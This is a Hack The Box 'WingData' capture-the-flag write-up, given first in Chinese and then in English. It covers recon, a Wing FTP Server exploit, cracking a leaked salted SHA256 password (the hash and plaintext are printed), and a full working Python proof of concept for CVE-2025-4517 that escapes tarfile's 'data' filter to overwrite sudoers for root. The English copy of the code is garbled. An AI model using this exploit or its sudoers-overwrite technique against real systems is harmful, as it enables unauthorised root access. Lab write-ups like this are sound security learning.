htb wingdata
Information Gathering
# Nmap 7.98 scan initiated Tue Feb 17 05:13:04 2026 as: /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.104.203
Nmap scan report for 10.129.104.203
Host is up (0.096s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vulnerability Analysis
浏览网页得知虚拟主机:ftp.wingdata.htb
进入获取到Web应用程序Wing FTP Server v7.4.3
搜索得到https://www.exploit-db.com/exploits/52347
Exploitation (User Flag)
根据此exploit可以获取到winftp的shell,搜索/home发现用户wacky
grep -rnio "wacky" . 2>/dev/null可获取到密码在文件:./Data/1/users/wacky.xml
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
通过谷歌搜索:hash site:*.wftpserver.com
可以获取到此页面:https://www.wftpserver.com/help/ftpserver/index.html?compression.htm
即可得到密码的盐为WingFTP,类型:SHA256
破解获取到密码:!#7Blushing^*Bride5
Privilege Escalation (Root Flag)
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py
查看python文件发现:
tar.extractall(path=staging_dir, filter="data")
Python是3.12
CVE-2025-4517
一个路径验证与路径实现之间的不匹配问题 (Mismatch between path validation and path realization)。在底层处理(例如调用操作系统的 os.path.realpath() 函数处理 PATH_MAX 限制条件)时,如果恶意 .tar 文件内部包含指向 ../../../../etc/passwd 或其他关键系统目录的恶意成员名,tarfile 的 "data" 过滤器无法成功将其拦截。
结果就是,原本应该被限制在安全解压目录下的文件,突破了边界,被跨目录写入到了系统的绝对路径中。
创建恶意的tar文件
import os # Operating System (操作系统接口)
import io # Input/Output (输入输出接口)
import tarfile # Tape Archive File (磁带归档文件接口)
# 创建带有符号链接循环的深层嵌套目录
def create_exploit_tar(username, output_file):
comp = 'a' * 247
steps = "abcdefghijklmnop"
path = ""
sudoers_entry = f"{username} ALL=(ALL) NOPASSWD: ALL\n".encode()
# 阶段一: 创建带有符号链接循环的深层嵌套目录
with tarfile.open(output_file, mode="w") as tar:
for i in steps:
# os.path.join: Operating System Path Join (操作系统路径拼接)
a = tarfile.TarInfo(os.path.join(path, comp))
# DIRTYPE: Directory Type (目录类型)
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
# SYMTYPE: Symbolic Link Type (符号链接/软链接类型)
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
# 阶段二:创建向上延伸多级的长符号链接链
linkpath = os.path.join("/".join(steps), "l" * 254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps) # Go up 16 levels
tar.addfile(l)
# 阶段三:指向 /etc 的最终逃逸符号链接
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../../etc"
tar.addfile(e)
# 阶段四:通过转义符创建指向sudoers的硬链接
f = tarfile.TarInfo("sudoers_link")
# LNKTYPE: Hard Link Type (硬链接类型)
f.type = tarfile.LNKTYPE
f.linkname = "escape/sudoers"
tar.addfile(f)
# 阶段五:写入实际内容 - 写入硬链接的索引节点
c = tarfile.TarInfo("sudoers_link")
# REGTYPE: Regular File Type (普通文件类型)
c.type = tarfile.REGTYPE
c.size = len(sudoers_entry)
# io.BytesIO: Input/Output Bytes In/Out (字节流内存文件对象)
tar.addfile(c, fileobj=io.BytesIO(sudoers_entry))
print(f"[+] Exploit tar created: {output_file}")
return output_file
if __name__ == "__main__":
target_user = "wacky"
payload_filename = "backup_1111.tar"
print("[*] 正在生成攻击载荷...")
create_exploit_tar(target_user, payload_filename)
print(f"[*] 执行完毕,请查看当前目录下的 {payload_filename}")
代码来源:https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData/blob/main/CVE-2025-4517-POC.py
紧接着移动到/opt/backup_clients/backups目录下
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1111.tar -r restore_exploit
即可获取shell
htb wingdata
Information Gathering
# A Nmap 7.98 scan was initiated on Tuesday, February 17, 2026, at 05:13:04, with the following command:
# /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.104.203
Nmap scan report for 10.129.104.203:
The host is up (latency: 0.096 seconds).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 (Debian 2+deb12u7; protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: The redirect to http://wingdata.htb/ was not followed.
Service Information:
Host: localhost
OS: Linux
CPE: cpe:/o:linux:linux_kernel
Vulnerability Analysis
By browsing the web, it was determined that the virtual host is ftp.wingdata.htb.
The web application used is Wing FTP Server v7.4.3.
An exploit with the ID 52347 can be found at https://www.exploit-db.com/exploits/52347.
Exploitation (User Flag)
Using this exploit, a shell access to the winftp service can be obtained. Searching the /home directory, the user wacky was identified.
The password for the wacky user can be retrieved from the file ./Data/1/users/wacky.xml using the command:
grep -rnio "wacky" . 2>/dev/null
The password is:
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
By searching Google for hash site:*.wftpserver.com, the password hashing algorithm used (SHA256) was identified. The password was cracked using the following value:
!#7Blushing^*Bride5
Privilege Escalation (Root Flag)
The following default settings were found for the user wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
The user wacky can execute the following command with root privileges:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py
The python3 script used in this command performs the following action:
tar.extractall(path=staging_dir, filter="data")
It can be seen that the Python version used is 3.12.
## [**CVE-2025-4517**](https://www.cvedetails.com/cve/CVE-2025-4517/)
A mismatch between path validation and path implementation was identified. During the underlying processing (for example, when using the `os.path.realpath()` function from the operating system to handle `PATH_MAX` limitations), if a malicious `.tar` file contains malicious entries that point to directories such as `../../../../etc/passwd` or other critical system directories, the `"data"` filter of the `tarfile` cannot successfully intercept these attempts.
As a result, files that should be restricted to a secure extraction directory can bypass these restrictions and be written to the system's absolute paths across different directories.
### Creating a malicious tar file
```bash
import os # Operating System interface
import io # Input/Output interface
import tarfile # Tape Archive File interface
Create a deeply nested directory with a cycle of symbolic links
def create_exploit_tar(username, output_file): comp = ‘a’ * 247 steps = “abcdefghijklmnop” path = "" sudoers_entry = f”{username} ALL=(ALL) NOPASSWD: ALL\n”.encode()
# Phase One: Create a deeply nested directory with a cycle of symbolic links
with tarfile.open(output_file, mode="w") as tar:
for i in steps:
# os.path.join: Used to concatenate paths in the operating system
a = tarfile.TarInfo(os.path.join(path, comp))
# DIRTYPE: Indicates the type of the directory
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
# SYMTYPE: Indicates the type of the symbolic link
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
# Phase Two: Create a long chain of symbolic links that point up multiple levels
linkpath = os.path.join("/".join(steps), "l" * 254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps) # Points up 16 levels
tar.addfile(l)
# Phase Three: Create a final symbolic link that points to /etc
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../../etc"
tar.addfile(e)
# Phase Four: Create a hard link that points to the sudoers file using escape characters
f = tarfile.TarInfo("sudoers_link")
# LNKTYPE: Indicates the type of the hard link
f.type = tarfile.LNKTYPE
f.linkname = "escape/sudoers"
tar.addfile(f)
# Phase Five: Write the actual content - the index node for the hard link
c = tarfile.TarInfo("sudoers_link")
# REGTYPE: Indicates the type of a regular file
c.type = tarfile.REGTYPE
c.size = len(sudoers_entry)
# io.BytesIO: Used for input/output of bytes
tar.addfile(c, fileobj=io.BytesIO(sudoers_entry))
print(f"[+] Exploit tar created: {output_file}")
return output_file
if name == “main”: target_user = “wacky” payload_filename = “backup_1111.tar” print(”[] Generating the attack payload…”) create_exploit_tar(target_user, payload_filename) print(f”[] Operation completed. Please check {payload_filename} in the current directory.”) }
The code is from: https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData/blob/main/CVE-2025-4517-POC.py
Next, navigate to the /opt/backup_clients/backups directory:
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1111.tar -r restore_exploit
This will grant you access to a shell.